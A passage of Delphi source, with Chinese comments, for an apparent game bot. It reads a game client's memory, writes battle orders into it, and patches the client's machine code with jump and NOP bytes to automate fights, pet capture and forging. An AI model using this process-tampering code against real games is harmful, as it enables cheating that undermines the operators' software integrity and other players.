Result := creature;
end;
function TBattle.GetBattleExpForLevel(Level: integer): integer;
var
i: integer;
dExp: double;
iExp: integer;
lvlDif: integer;
tmpCreature: CreatureInfo;
begin
TotalExp := 0;
for i := 0 to CreatureCount - 1 do
begin
tmpCreature:=Creatures.Items[i];
if tmpCreature.ID>=$C0000000 then
begin
dExp := tmpCreature.Level * tmpCreature.Level * 0.012;
iExp := Ceil(dExp) + tmpCreature.Level * 5;
if (Level > tmpCreature.Level) then
begin
lvlDif := Level - tmpCreature.Level;
if lvlDif > 95 then lvlDif := 95;
dExp := iExp * (100 - lvlDif) / 100;
iExp := Ceil(dExp);
end;
TotalExp := TotalExp + iExp;
end;
end;
Result := TotalExp;
end;
function TBattle.FindMonsterToAct(IsPetAction:Boolean=False):DWORD;
var
i:integer;
tmpCreature:CreatureInfo;
begin
Result:=0;
GetCreatures;
for i:=0 to CreatureCount-1 do
begin
tmpCreature:=Creatures.Items[i];
if tmpCreature.ID>=$C0000000 then // 说明是敌怪
begin
if not tmpCreature.IsDead then // 还没有死
begin
if IsPetAction then // 是宠物的动作
begin
if CurrHumanAction=BattleCapture then // 如果人物要捉宠
begin
if tmpCreature.Name<>MonsterNameToCapture // 现在这个宠不是人物要捉的
then
begin
Result:=tmpCreature.ID;
break;
end
else // 名字对应上了,继续测试
begin
if (tmpCreature.Level>CaptureLevelTo) or (tmpCreature.Level<CaptureLevelFrom) then
begin
Result:=tmpCreature.ID;
break;
end;
end;
end
else // 人物不捉宠
begin
Result:=tmpCreature.ID;
break;
end;
end
else // 是人物的动作
begin
if CurrHumanAction=BattleCapture then // 如果人物要捉宠
begin
if tmpCreature.Name=MonsterNameToCapture // 现在这个宠的名字对应上了
then
begin
if (tmpCreature.Level<=CaptureLevelTo) and (tmpCreature.Level>=CaptureLevelFrom) then
begin
Result:=tmpCreature.ID;
break;
end;
end;
end
else // 人物不捉宠
begin
Result:=tmpCreature.ID;
break;
end;
end;
end;
end;
end;
end;
procedure TBattle.ReadOrders;
begin
ReadFromHLMEM(Pointer(BattleOrderAddr), @BattleBufferOrder, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + 4), @BattleBufferHumanAct, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + 8), @BattleBufferHumanActObj, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $c), @BattleBufferRemain1, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $10), @BattleBufferRemain1a, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $14), @BattleBufferPetAct, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $18), @BattleBufferPetActObj, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $1c), @BattleBufferRemain2a, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $20), @BattleBufferRemain2, 4);
ReadFromHLMEM(Pointer(BattleOrderAddr + $24), @BattleBufferTimer, 4);
end;
procedure TBattle.WriteOrders;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle<>0 then
begin
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+4), @BattleBufferHumanAct, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+8), @BattleBufferHumanActObj, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$c), @BattleBufferRemain1, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$10), @BattleBufferRemain1a, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$14), @BattleBufferPetAct, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$18), @BattleBufferPetActObj, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$1c), @BattleBufferRemain2a, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr+$20), @BattleBufferRemain2, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer(BattleOrderAddr), @BattleBufferOrder, 4, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
end;
function TBattle.ReadDeadMonsterCount: integer;
begin
ReadFromHLMem(Pointer(DeadMonsterCountAddr), @DeadMonsterCount, 4);
end;
function TBattle.ReadState: integer;
var
tmpByte: Byte;
begin
ReadFromHLMem(Pointer(BattleStateAddr), @tmpByte, 1);
Result:= tmpByte;
end;
procedure TBattle.SubmitAction;
var
tmpWIn: TWindowInfo;
begin
if HLInfoList.GlobalHL.LocateToPlayWindow(tmpWIn) = -1 then Exit; // 没有找到
SendMessage(tmpWIn.Window, $7E8, $3EA, 0);
end;
procedure TBattle.DoBattle;
var
tmpPet: TPet;
expToGain: integer;
useItemId: DWORD;
doHeal,healPlayer,healPet: Boolean;
tmpPetId: DWORD;
tmpCreature: CreatureInfo;
playerLifePerc, petLifePerc: Double;
begin
if GetUserEnvState <> UserEnvBattle then Exit;
if ReadState<>1 then Exit;
sleep(100);
ReadOrders;
if (BattleBufferOrder<>0)
or (BattleBufferHumanAct<>BattleIdle)
or (BattleBufferPetAct<>BattleIdle) then Exit; // Action in Process
if (BattleBufferTimer>30) or (BattleBufferTimer<0) then Exit;
ThisUser.GetPets;
GetCreatures;
If LiveMonsterCount=0 then Exit;
CurrHumanAction:=OrderHumanAction;
CurrPetAction:=OrderPetAction;
if not FormGeneralSet.CheckBoxNoHeal.Checked then
begin
doHeal := False;
healPlayer := False;
healPet := False;
tmpPet := ThisUser.Pets[ThisUser.BattlePetPos];
if FormGeneralSet.CheckBoxFullBlood.Checked then
begin
expToGain := GetBattleExpForLevel(tmpPet.Level);
if (tmpPet.Experience + expToGain > tmpPet.NextLevel) and (tmpPet.CurrLife < tmpPet.MaxLife) and (LiveMonsterCount = 1) then
begin
doHeal := True;
healPet := True;
end;
end;
//check pet life
petLifePerc := tmpPet.CurrLife / tmpPet.MaxLife * 100;
if (petLifePerc < StrToFloat(FormGeneralSet.EditPetLife.Text)) and (tmpPet.CurrLife > 0) then
begin
doHeal := True;
healPet := True;
end;
//check player life
ThisUser.GetAttr;
playerLifePerc := ThisUser.CurrLife / ThisUser.MaxLife * 100;
if (playerLifePerc < StrToFloat(FormGeneralSet.EditPlayerLife.Text)) and (ThisUser.CurrLife > 0) then
begin
doHeal := True;
healPlayer := True;
end;
//Run if pet died
tmpPetId := GetMyPetBattleID(tmpPet);
tmpCreature := GetCreatureById(tmpPetId);
if (tmpCreature <> nil) and (tmpCreature.IsDead) then
begin
CurrHumanAction := BattleEscape;
doHeal := False;
end
else
begin
if doHeal then
begin
//get item
useItemId := ThisUser.FindItemByType(700);
if useItemId = 0 then
begin
CurrHumanAction := BattleEscape;
doHeal := False;
end
else
begin
CurrHumanAction := BattleEat;
end;
end;
end;
end;
if CurrHumanAction=BattleCapture then // Capture
begin
if ThisUser.PetCount=5 then // 如果捉宠,人物宠空满了
begin
if EscapeWhenNoMonsterToCapture then // 要逃跑
begin
CurrHumanAction:=BattleEscape;
CurrPetAction:=BattleIdle;
end
else // 还要继续战斗
begin
CurrHumanAction:=BattleAttack;
end;
end;
end;
if CurrHumanAction=BattleEscape then CurrPetAction:=BattleIdle;
ReadOrders;
BattleBufferHumanActObj:=0;
BattleBufferPetActObj:=0;
BattleBufferOrder:=$2710;
if CurrHumanAction=BattleCapture then // 捉宠
begin
BattleBufferHumanActObj:=FindMonsterToAct;
if BattleBufferHumanActObj=0
then // 没有找到要抓的怪,根据用户设置的情况
begin
if EscapeWhenNoMonsterToCapture then // 要逃跑
begin
CurrHumanAction:=BattleEscape;
CurrPetAction:=BattleIdle;
end
else // 还要继续战斗
begin
CurrHumanAction:=BattleAttack;
end;
end;
end;
if CurrHumanAction = BattleEat then
begin
if healPlayer then BattleBufferHumanActObj := ThisUser.ID;
if healPet then BattleBufferHumanActObj := GetMyPetBattleID(ThisUser.Pets[ThisUser.BattlePetPos]);
BattleBufferRemain1 := useItemId;
CurrPetAction := BattleDefence;
end;
if CurrHumanAction=BattleAttack then
begin
BattleBufferHumanActObj:=FindMonsterToAct;
if BattleBufferHumanActObj=0 then Exit; // 出错了
end;
if CurrPetAction=BattleAttack then
begin
BattleBufferPetActObj:=FindMonsterToAct(True);
if BattleBufferPetActObj=0 // 如果没有找到宠,通常是发生在所有的宠都满足人物要捉的条件
then
CurrPetAction:=BattleDefence;
end;
BattleBufferHumanAct := CurrHumanAction;
if (BattleBufferHumanAct = BattleDefence) OR (BattleBufferHumanAct = BattleEscape) then BattleBufferHumanActObj := 0;
BattleBufferPetAct := CurrPetAction;
if BattleBufferPetAct <> BattleAttack then BattleBufferPetActObj := 0;
if GetUserEnvState<>UserEnvBattle then Exit;
GetCreatures;
If LiveMonsterCount=0 then Exit;
WriteOrders;
//SubmitAction;
sleep(100);
end;
//==============================================================================
constructor TMove.Create;
begin
Inherited Create;
Dijksatra_Nodes := TList.Create;
Path := TList.Create;
PathNodeIndex := 0;
// PathNodeCount := 0;
end;
destructor TMove.Destroy;
var
// tmpNode: TNodeInfo;
tmpDijksatraNode: DijksatraNodeInfo;
i: integer;
begin
{ for i := 0 to Path.Count - 1 do
begin
tmpNode := Path.Items[i];
dispose(tmpNode);
end; }
Path.Clear;
Path.Free;
for i := 0 to Dijksatra_Nodes.Count - 1 do
begin
tmpDijksatraNode := Dijksatra_Nodes.Items[i];
tmpDijksatraNode.OutNodes.Clear;
tmpDijksatraNode.OutNodes.Free;
dispose(tmpDijksatraNode);
end;
Dijksatra_Nodes.Clear;
Dijksatra_Nodes.Free;
Inherited Destroy;
end;
function TMove.Init(FromPos, ToPos: integer): Boolean;
// 初始化移动对象
begin
PathNodeIndex := 0;
FromMapIndexInList := FromPos;
ToMapIndexInList := ToPos;
Result := FindPath; // 寻找路径
end;
function TMove.GetPathNodeCount: integer;
begin
Result := self.Path.Count;
end;
function TMove.FindPath: Boolean;
var
i, j, tmpNewPNodeIndex: integer;
tmpMap: TMapInfo;
tmpNode: TNodeInfo;
tmpDijksatraNode, tmpNewPNode: DijksatraNodeInfo;
// ptmpID: ^DWord;
tmpBoolean: Boolean;
// tmpstr: String;
Dijksatra_PNodes: TList;
Dijksatra_TNodes: TList;
begin
Path.Clear;
Result := True;
// 起始点等于终点,退出
if FromMapIndexInList = ToMapIndexInList then Exit;
if Dijksatra_Nodes.Count = 0 then // 初始化DijksatraPath
begin
for i := 0 to GameMaps.Count - 1 do
begin
tmpMap := GameMaps.Items[i];
if tmpMap.ID = 0 then GameMaps.ReadOneMap(i); // 如果ID非法,重新装载地图节点
new(tmpDijksatraNode);
tmpDijksatraNode.PosInMapList := tmpMap.PosInMapList;
tmpDijksatraNode.MapID := tmpMap.ID;
Dijksatra_Nodes.Add(tmpDijksatraNode);
end;
for i := 0 to GameMaps.Count - 1 do
begin
tmpMap := GameMaps.Items[i];
tmpDijksatraNode := Dijksatra_Nodes.Items[i];
tmpDijksatraNode.OutNodes := TList.Create;
for j := 0 to tmpMap.NodeList.Count-1 do
begin
tmpNode := tmpMap.NodeList.Items[j];
tmpDijksatraNode.OutNodes.Add(tmpNode);
end;
end;
end;
Dijksatra_PNodes:=TList.Create;
Dijksatra_TNodes:=TList.Create;
Dijksatra_PNodes.Clear;
Dijksatra_TNodes.Clear;
// 开始执行算法
// 初始化
for i:=0 to Dijksatra_Nodes.Count-1 do
begin
tmpDijksatraNode:=Dijksatra_Nodes.Items[i];
if i = FromMapIndexInList then
begin
tmpDijksatraNode.distance:=0;
tmpDijksatraNode.priorNode:=Nil;
tmpDijksatraNode.priorDijksatraNode:=nil;
Dijksatra_PNodes.Add(tmpDijksatraNode);
end
else
begin
tmpDijksatraNode.distance:=-1;
Dijksatra_TNodes.Add(tmpDijksatraNode);
end;
end;
repeat
tmpNewPNode:=Dijksatra_PNodes.Items[Dijksatra_PNodes.Count-1]; // 新增加的那个
for i:=0 to tmpNewPNode.OutNodes.Count-1 do
begin
tmpNode:=tmpNewPNode.OutNodes.Items[i];
tmpBoolean:=False;
for j:=0 to Dijksatra_TNodes.Count-1 do
begin
tmpDijksatraNode:=Dijksatra_TNodes.Items[j];
if tmpNode.OutMapID=tmpDijksatraNode.MapID then
begin
tmpBoolean:=True;
break;
end;
end;
if tmpBoolean then // Node在TNodes中
begin
if (tmpNewPNode.distance<>-1)
and (((tmpNewPNode.distance+1)<tmpDijksatraNode.distance) or (tmpDijksatraNode.distance=-1))
then
begin // 更新tmpOutNode的Distance
tmpDijksatraNode.distance:=tmpNewPNode.distance+1;
tmpDijksatraNode.PriorNode:=tmpNode;
for j:=0 to Dijksatra_PNodes.Count-1 do
begin
tmpNewPNode:=Dijksatra_PNodes.Items[j];
if tmpNewPNode.MapID=tmpNode.MyMap.ID then
begin
tmpDijksatraNode.priorDijksatraNode:=tmpNewPNode;
break;
end;
end;
end;
end;
end;
if Dijksatra_TNodes.Count <> 0 then
begin
tmpNewPNodeIndex := 0;
tmpNewPNode := Dijksatra_TNodes.Items[0];
for i := 1 to Dijksatra_TNodes.Count - 1 do
begin
tmpDijksatraNode := Dijksatra_TNodes.Items[i];
if (tmpDijksatraNode.distance <> -1) and
((tmpNewPNode.distance = -1) or
(tmpDijksatraNode.distance < tmpNewPNode.distance)) then
begin // 找到新的PNode
tmpNewPNodeIndex := i;
tmpNewPNode := tmpDijksatraNode;
end;
end;
Dijksatra_TNodes.Delete(tmpNewPNodeIndex);
Dijksatra_PNodes.Add(tmpNewPNode);
end;
until Dijksatra_TNodes.Count = 0;
tmpDijksatraNode := Dijksatra_Nodes[ToMapIndexInList];
repeat
if tmpDijksatraNode.distance = -1 then
begin
Result := False;
Exit;
end;
tmpNode := tmpDijksatraNode.priorNode;
Path.Insert(0, tmpNode);
tmpDijksatraNode := tmpDijksatraNode.priorDijksatraNode;
until tmpDijksatraNode.priorDijksatraNode = Nil;
// PathNodeCount := Path.Count;
Dijksatra_PNodes.Clear;
Dijksatra_TNodes.Clear;
Dijksatra_PNodes.Free;
Dijksatra_TNodes.Free;
end;
function TMove.GetCurrPathNode: TNodeInfo;
// 返回当前路径节点
begin
Result := Path[PathNodeIndex];
end;
function TMove.GetCurrPathNodeIndex: integer;
// 返回当前路径节点编号
begin
Result := PathNodeIndex;
end;
procedure TMove.GotoNextPathNode;
// 指向下一个路径节点
begin
PathNodeIndex := PathNodeIndex + 1;
end;
constructor TForge.Create;
begin
Inherited Create;
StoveList := TList.Create;
StoveList.Clear;
end;
destructor TForge.Destroy;
begin
Clean;
StoveList.Free;
Inherited Destroy;
end;
procedure TForge.Clean;
var
i, j, k: integer;
tmpStove: StoveInfo;
tmpAllowedStuffType: AllowedStuffTypeInfo;
begin
for i:=0 to StoveList.Count-1 do
begin
tmpStove:=StoveList.Items[i];
for j:=0 to 7 do
begin
for k:=0 to tmpStove.Rooms[j].AllowedStuffTypes.Count-1 do
begin
tmpAllowedStuffType:=tmpStove.Rooms[j].AllowedStuffTypes.Items[k];
dispose(tmpAllowedStuffType);
end;
tmpStove.Rooms[j].AllowedStuffTypes.Clear;
tmpStove.Rooms[j].AllowedStuffTypes.Free;
end;
dispose(tmpStove);
end;
StoveList.Clear;
StoveCount:=0;
StoveIndex:=0;
end;
Procedure TForge.Init;
var
mapini:TIniFile;
i, j, k, tmpint, tmpint2: integer;
tmpTransaction: TTransaction;
tmpStep: TStepInfo;
tmpString: String;
tmpStove: StoveInfo;
tmpAllowedStuffType: AllowedStuffTypeInfo;
begin
Clean;
tmpTransaction := ThisWork.GetCurrTransaction;
tmpStep := tmpTransaction.GetCurrStep;
mapini := TIniFile.Create('.\' + ThisWork.IniFileName);
try
tmpint := mapini.ReadInteger(tmpStep.X, 'StoveCount', 0);
for i := 0 to tmpint - 1 do
begin
new(tmpStove);
tmpString := mapini.ReadString(tmpStep.X, format('Stove%d', [i]), '');
tmpStove.MainRoomPos := mapini.ReadInteger(tmpString, 'MainRoomPos', -1);
for j := 0 to 7 do
begin
tmpStove.Rooms[j].AllowedStuffTypes := TList.Create;
tmpStove.Rooms[j].AllowedStuffTypes.Clear;
tmpint2 := mapini.ReadInteger(tmpString,
format('Room%d_AllowedStuffTypeCount', [j]), 0);
for k := 0 to tmpint2 - 1 do
begin
new(tmpAllowedStuffType);
tmpAllowedStuffType.Name := mapini.ReadString(tmpString,
format('Room%d_AllowedStuffType%d_Name', [j, k]), '');
tmpAllowedStuffType.Attr := mapini.ReadInteger(tmpString,
format('Room%d_AllowedStuffType%d_Attr', [j, k]), -1);
tmpAllowedStuffType.Maker := mapini.ReadString(tmpString,
format('Room%d_AllowedStuffType%d_Maker', [j, k]), '');
if tmpAllowedStuffType.Maker = '[username]' then
tmpAllowedStuffType.Maker := HLInfoList.GlobalHL.UserName;
tmpStove.Rooms[j].AllowedStuffTypes.Add(tmpAllowedStuffType);
end;
end;
StoveList.Add(tmpStove);
end;
StoveCount := StoveList.Count;
finally
mapini.Free;
end;
end;
procedure TForge.WriteStoveInstruction;
var
AddressofUniverseStoveForm: DWORD;
lpNumberOfBytes: SIZE_T;
ProcessHandle: THandle;
tmpStove: StoveInfo;
i: integer;
begin
tmpStove:=StoveList[StoveIndex];
ReadFromHLMEM(Pointer(HL_UniverseStoveFormAddressAddress), @AddressofUniverseStoveForm, 4);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False,
HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
//CN @ $458
WriteProcessMemory(ProcessHandle, Pointer(AddressofUniverseStoveForm + $450),
@tmpStove.MainRoomPos, 4, lpNumberOfBytes);
//CN @ $3f8
for i := 0 to 7 do
begin
WriteProcessMemory(ProcessHandle,
Pointer(AddressofUniverseStoveForm + $3f0 + i * 12),
@tmpStove.Rooms[i].Stuff.StuffAttr, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle,
Pointer(AddressofUniverseStoveForm + $3f0 + i * 12 + 8),
@tmpStove.Rooms[i].Stuff.StuffID, 4, lpNumberOfBytes);
end;
end;
CloseHandle(ProcessHandle);
end;
procedure TForge.PatchUniverseStove;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
Buffers: array [0..5] of Byte;
i: integer;
begin
Buffers[0] := $0f;
Buffers[1] := $85;
// Buffers[2] := $44;
// Buffers[3] := $02;
Buffers[2] := $2F;
Buffers[3] := $02;
Buffers[4] := $00;
Buffers[5] := $00;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle<>0 then
begin
for i := 0 to 5 do
begin
//WriteProcessMemory(ProcessHandle, Pointer($459d8b + i), @Buffers[i], 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($472DEF + i), @Buffers[i], 1, lpNumberOfBytes);
end;
Buffers[0] := $90;
for i := 0 to 7 do
begin
//WriteProcessMemory(ProcessHandle, Pointer($556b07 + i), @Buffers[0], 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($55788E + i), @Buffers[0], 1, lpNumberOfBytes);
end;
end;
CloseHandle(ProcessHandle);
end;
procedure TForge.UnpatchUniverseStove;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
Buffers: array [0..7] of Byte;
i: integer;
tmpWin: TWindowInfo;
begin
Buffers[0]:=$75;
Buffers[1]:=$61;
Buffers[2]:=$66;
Buffers[3]:=$c7;
Buffers[4]:=$45;
Buffers[5]:=$d0;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle<>0 then
begin
for i:=0 to 5 do
begin
// WriteProcessMemory(ProcessHandle, Pointer($459d8b+i), @Buffers[i], 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($472DEF+i), @Buffers[i], 1, lpNumberOfBytes);
end;
Buffers[0] := $e8;
//Buffers[1] := $88;
//Buffers[2] := $83;
Buffers[1] := $11;
Buffers[2] := $1c;
Buffers[3] := $05;
Buffers[4] := $00;
Buffers[5] := $83;
Buffers[6] := $c4;
Buffers[7] := $08;
for i := 0 to 7 do
begin
//WriteProcessMemory(ProcessHandle, Pointer($556b07+i), @Buffers[i], 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($55788E+i), @Buffers[i], 1, lpNumberOfBytes);
end;
end;
CloseHandle(ProcessHandle);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Wuxing Oven');
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and (not IsWindowVisible(tmpWin.Window)) then
SendMessage(tmpWin.Window, WM_Close, 0, 0);
end;
function TForge.GetCurrStove: StoveInfo;
begin
Result:=StoveList[StoveIndex];
end;
function TForge.FillStove: Boolean;
var
tmpStove: StoveInfo;
tmpAllowedStuffType: AllowedStuffTypeInfo;
isFoundForOneTime: Boolean;
i, j, k: integer;
begin
Result:=True;
tmpStove:=StoveList[StoveIndex];
For i:=0 to 7 do
begin
isFoundForOneTime:=False;
for j:=0 to tmpStove.Rooms[i].AllowedStuffTypes.Count-1 do
begin
tmpAllowedStuffType:=tmpStove.Rooms[i].AllowedStuffTypes[j];
for k:=0 to StoveStuffsToBeChozenCount-1 do
begin
if (StoveStuffsToBeChozen[k].ChozenBy=-1)
and (tmpAllowedStuffType.Name=StoveStuffsToBeChozen[k].Stuff.Name)
and (tmpAllowedStuffType.Attr=StoveStuffsToBeChozen[k].Stuff.ItemType)
and (tmpAllowedStuffType.Maker=StoveStuffsToBeChozen[k].Stuff.Maker)
then
begin
tmpStove.Rooms[i].Stuff.StuffID:=StoveStuffsToBeChozen[k].Stuff.ID;
tmpStove.Rooms[i].Stuff.StuffAttr:=$4d6;
StoveStuffsToBeChozen[k].ChozenBy:=i;
isFoundForOneTime:=True;
if tmpStove.tmpID1=0 then tmpStove.tmpID1:=tmpStove.Rooms[i].Stuff.StuffID
else if tmpStove.tmpID2=0 then tmpStove.tmpID2:=tmpStove.Rooms[i].Stuff.StuffID;
break;
end;
end;
if isFoundForOneTime then break;
end;
if (tmpStove.Rooms[i].AllowedStuffTypes.Count<>0) and (not isFoundForOneTime) then
begin
Result:=False;
break;
end;
end;
end;
function TForge.HasCurrStoveFinished: Boolean;
var
tmpStove: StoveInfo;
isFoundForOneTime: Boolean;
i: integer;
begin
Result:=True;
tmpStove:=StoveList[StoveIndex];
ThisUser.GetItems;
isFoundForOneTime:=False;
for i:=0 to ThisUser.ItemCount do
begin
if ThisUser.Items[i].ID=tmpStove.tmpID1 then
begin
isFoundForOneTime:=True;
break;
end;
end;
for i:=0 to ThisUser.ItemCount do
begin
if ThisUser.Items[i].ID=tmpStove.tmpID2 then
begin
if isFoundForOneTime then Result:=False;
break;
end;
end;
end;
function TForge.IsFinish: Boolean;
begin
Result:=(StoveIndex>=StoveCount);
end;
procedure TForge.GotoNextStove;
begin
StoveIndex:=StoveIndex+1;
end;
procedure TForge.InitStoveStuffsToBeChozen; // 先不处理炼化宠物情况
var
i, j: integer;
begin
ThisUser.GetItems;
j:=0;
for i:=0 to ThisUser.ItemCount-1 do
begin
if (ThisUser.Items[i].Name='※乾坤袋') or (ThisUser.Items[i].Name='※百宝囊') then continue;
StoveStuffsToBeChozen[j].Stuff:=ThisUser.Items[i];
StoveStuffsToBeChozen[j].ChozenBy:=-1;
j:=j+1;
end;
StoveStuffsToBeChozenCount:=j;
end;
procedure TUser.GetAttr;
begin
ReadFromHLMEM(Pointer(UserIdAddress), @ID, 2);
ReadFromHLMEM(Pointer(UserXianmo_1Xian_2Mo), @Xianmo, 2);
ReadFromHLMEM(Pointer(UserAttribTiliAddr), @Tili, 2);
ReadFromHLMEM(Pointer(UserAttribNeigongAddr), @Neigong, 2);
ReadFromHLMEM(Pointer(UserAttribGongjiAddr), @Gongji, 2);
ReadFromHLMEM(Pointer(UserAttribFangyuAddr), @Fangyu, 2);
ReadFromHLMEM(Pointer(UserAttribQinggongAddr), @Qinggong, 2);
ReadFromHLMEM(Pointer(UserAttribRemainingAddr), @RemainingPoints, 2);
ReadFromHLMEM(Pointer(UserLifeCurrAddr), @CurrLife, 2);
ReadFromHLMEM(Pointer(UserLifeMaxAddr), @MaxLife, 2);
ReadFromHLMEM(Pointer(UserNeiliCurrAddr), @CurrNeili, 2);
ReadFromHLMEM(Pointer(UserNeiliMAXAddr), @MaxNeili, 2);
ReadFromHLMEM(Pointer(UserMoneyAddress), @Money, 4);
ReadFromHLMEM(Pointer(UserRankAddr), @Rank, 2);
ReadFromHLMEM(Pointer(UserLevelAddr), @Level, 2);
Xiu_Level:=0;
if Rank>=2 then
begin
ReadFromHLMEM(Pointer(UserBaseXiuAddr), @Xiu_Level, 4);
Xiu_Level:=Xiu_Level+Level;
end;
end;
function TUser.FindPetCount(Name: String; Loyal: WORD): integer;
var
i: integer;
begin
Result:=0;
GetPets;
for i:=0 to PetCount-1 do
begin
if ((Pets[i].Name=Name) or (Name='')) and (Pets[i].Loyal>=Loyal)
then
begin
Result:=Result+1;
end;
end;
end;
procedure TUser.GetWGs;
var
i, j:integer;
pCurrWG: DWORD;
WGBuffer: array [0.. UserWGDataLength-1] of Byte;
CharArrayTemp: array [0.. 15] of Char;
tmp: DWORD;
// tmpext: Extended;
begin
ReadFromHLMEM(Pointer(UserWGCountAddress), @tmp, 4);
WGCount:=tmp;
for i:=0 to WGCount-1 do
begin
pCurrWG:=GetHLMemListNumberByNo(i, UserFirstWGAddressAddress, $67295C);
ReadFromHLMEM(Pointer(pCurrWG), @WGBuffer, UserWGDataLength);
for j:=0 to 15 do CharArrayTemp[j]:=Char(WGBuffer[j]);
WGs[i].Name:=CharArrayTemp;
for j:=0 to 15 do CharArrayTemp[j]:=Char(WGBuffer[$10+j]);
WGs[i].Creator:=CharArrayTemp;
WGs[i].ID:=Byte(WGBuffer[$27])*65536*256+Byte(WGBuffer[$26])*65536
+Byte(WGBuffer[$25])*256+Byte(WGBuffer[$24]);
WGs[i].QS:=Byte(WGBuffer[$28])+1;
WGs[i].GJ:=Byte(WGBuffer[$2c])+1;
WGs[i].BZ:=Byte(WGBuffer[$30])+1;
WGs[i].LevelNeed:=Byte(WGBuffer[$35])*256+Byte(WGBuffer[$34]);
WGs[i].Neili:=Byte(WGBuffer[$39])*256+Byte(WGBuffer[$38]);
WGs[i].DisplayXishuMultiply100:=Byte(WGBuffer[$3c]);
WGs[i].Real_DisplayXishuPercent:=Byte(WGBuffer[$4c]);
WGs[i].Jingyan:=Byte(WGBuffer[$69])*256+Byte(WGBuffer[$68]);
end;
GetAttr;
if Rank < 1 then WGCountLimit:=5 // 凡人为5个
else if Rank < 2 then WGCountLimit:=8 // 散仙为8个
else WGCountLimit:=10; // 其它为10个
end;
procedure TUser.GetPets;
var
i, j:integer;
pCurrPet: DWORD;
PetBuffer: array [0..UserPetSize-1] of Byte;
CharArrayTemp: array[0..15] of Char;
begin
ReadFromHLMEM(Pointer(UserPetCountAddress), @PetCount, 4);
for i:=0 to PetCount-1 do
begin
pCurrPet:=GetHLMemListNumberByNo(i, UserFirstPetAddressAddress, $00672954);
ReadFromHLMEM(Pointer(pCurrPet), @PetBuffer, UserPetSize);
if PetBuffer[$B0]=1 then BattlePetPos:=i;
for j:=0 to 15 do CharArrayTemp[j]:=Char(PetBuffer[j+4]);
Pets[i].Name:=CharArrayTemp;
Pets[i].ID:=PetBuffer[$93]*65536*256+PetBuffer[$92]*65536
+PetBuffer[$91]*256+PetBuffer[$90];
Pets[i].Level:=PetBuffer[$39]*256+PetBuffer[$38];
Pets[i].Loyal:=PetBuffer[$94];
Pets[i].Experience:=PetBuffer[$3F]*65536*256+PetBuffer[$3E]*65536
+PetBuffer[$3D]*256+PetBuffer[$3C];
Pets[i].NextLevel:= Floor((Pets[i].Level+1) * Pets[i].Level * 0.75);
Pets[i].CurrLife:=PetBuffer[$43]*65536*256+PetBuffer[$42]*65536
+PetBuffer[$41]*256+PetBuffer[$40];
Pets[i].MaxLife:=PetBuffer[$47]*65536*256+PetBuffer[$46]*65536
+PetBuffer[$45]*256+PetBuffer[$44];
Pets[i].Attack:=PetBuffer[$1F]*65536*256+PetBuffer[$1E]*65536
+PetBuffer[$1D]*256+PetBuffer[$1C];
Pets[i].Defence:=PetBuffer[$23]*65536*256+PetBuffer[$22]*65536
+PetBuffer[$21]*256+PetBuffer[$20];
Pets[i].Dexterity:=PetBuffer[$27]*65536*256+PetBuffer[$26]*65536
+PetBuffer[$25]*256+PetBuffer[$24];
Pets[i].MedalAttack:=PetBuffer[$87]*65536*256+PetBuffer[$86]*65536
+PetBuffer[$85]*256+PetBuffer[$84];
Pets[i].MedalDefence:=PetBuffer[$8B]*65536*256+PetBuffer[$8A]*65536
+PetBuffer[$89]*256+PetBuffer[$88];
Pets[i].MedalDexterity:=PetBuffer[$8F]*65536*256+PetBuffer[$8E]*65536
+PetBuffer[$8D]*256+PetBuffer[$8C];
end;
end;
function TUser.GetMarchingPet(): TPet;
begin
GetPets;
Result := Pets[BattlePetPos];
end;
function TUser.FindPetPos(Name: String; Loyal: integer): integer; // 从 1 开始,0说明没有找到
var
i: integer;
begin
Result:=0;
GetPets;
for i:=0 to PetCount-1 do
begin
If (Pets[i].Name=Name) and (Pets[i].Loyal>=Loyal)
then
begin
Result:=i+1;
break;
end;
end;
end;
function TUser.FindItemPos(Name: String; Maker: String): integer; // 从 1 开始,0说明没有找到
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If
(Items[i].Name=Name) and (Items[i].Maker=Maker)
then
begin
Result:=i+1;
break;
end;
end;
end;
